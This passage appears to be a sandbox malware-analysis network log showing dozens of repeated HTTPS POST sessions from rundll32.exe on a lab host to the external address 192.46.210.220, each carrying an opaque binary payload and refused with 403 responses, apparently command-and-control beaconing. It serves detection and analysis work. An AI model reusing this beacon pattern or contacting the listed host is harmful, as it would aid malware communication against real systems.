2021-10-28 03:00:18 UTC	344	OUT	Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: Fn'\V?LsBRfoH(iMFVz @mRk7k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:00:19 UTC	349	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:00:19 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.6	49781	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:58:15 UTC	34	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4850 Connection: Close Cache-Control: no-cache
2021-10-28 02:58:15 UTC	35	OUT	Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: f'\V?LsBRfoH(iMFVz @mRk7kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:58:15 UTC	39	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:58:15 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.2.6	50111	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:00:21 UTC	349	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4850 Connection: Close Cache-Control: no-cache
2021-10-28 03:00:21 UTC	349	OUT	Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: f'\V?LsBRfoH(iMFVz @mRk7kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:00:22 UTC	354	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:00:22 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
71	192.168.2.6	50113	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:00:22 UTC	354	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4862 Connection: Close Cache-Control: no-cache
2021-10-28 03:00:22 UTC	354	OUT	Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: Fn'\V?LsBRfoH(iMFVz @mRk7k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:00:23 UTC	359	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:00:23 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
72	192.168.2.6	50119	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:00:25 UTC	359	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4850 Connection: Close Cache-Control: no-cache
2021-10-28 03:00:25 UTC	359	OUT	Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: f'\V?LsBRfoH(iMFVz @mRk7kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:00:26 UTC	364	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:00:26 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
73	192.168.2.6	50121	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:00:26 UTC	364	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4862 Connection: Close Cache-Control: no-cache
2021-10-28 03:00:26 UTC	364	OUT	Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: Fn'\V?LsBRfoH(iMFVz @mRk7k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:00:27 UTC	369	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:00:27 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
74	192.168.2.6	50127	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:00:29 UTC	369	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4850 Connection: Close Cache-Control: no-cache
2021-10-28 03:00:29 UTC	369	OUT	Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: f'\V?LsBRfoH(iMFVz @mRk7kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:00:30 UTC	374	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:00:30 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
75	192.168.2.6	50129	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:00:30 UTC	374	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4862 Connection: Close Cache-Control: no-cache
2021-10-28 03:00:30 UTC	374	OUT	Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: Fn'\V?LsBRfoH(iMFVz @mRk7k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:00:31 UTC	379	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:00:31 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
76	192.168.2.6	50135	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:00:33 UTC	379	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4850 Connection: Close Cache-Control: no-cache
2021-10-28 03:00:33 UTC	379	OUT	Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: f'\V?LsBRfoH(iMFVz @mRk7kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:00:33 UTC	384	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:00:33 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
77	192.168.2.6	50137	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:00:34 UTC	384	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4862 Connection: Close Cache-Control: no-cache
2021-10-28 03:00:34 UTC	384	OUT	Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: Fn'\V?LsBRfoH(iMFVz @mRk7k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:00:35 UTC	389	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:00:35 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
78	192.168.2.6	50143	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:00:37 UTC	389	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4850 Connection: Close Cache-Control: no-cache
2021-10-28 03:00:37 UTC	389	OUT	Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: f'\V?LsBRfoH(iMFVz @mRk7kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:00:37 UTC	394	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:00:37 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
79	192.168.2.6	50145	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:00:38 UTC	394	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4862 Connection: Close Cache-Control: no-cache
2021-10-28 03:00:38 UTC	394	OUT	Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: Fn'\V?LsBRfoH(iMFVz @mRk7k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:00:39 UTC	398	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:00:39 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.6	49784	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:58:16 UTC	39	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4862 Connection: Close Cache-Control: no-cache
2021-10-28 02:58:16 UTC	40	OUT	Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: Fn'\V?LsBRfoH(iMFVz @mRk7k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:58:17 UTC	44	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:58:17 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
80	192.168.2.6	50151	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:00:41 UTC	399	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4850 Connection: Close Cache-Control: no-cache
2021-10-28 03:00:41 UTC	399	OUT	Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: f'\V?LsBRfoH(iMFVz @mRk7kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:00:41 UTC	403	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:00:41 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
81	192.168.2.6	50154	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:00:42 UTC	404	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4862 Connection: Close Cache-Control: no-cache
2021-10-28 03:00:42 UTC	404	OUT	Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 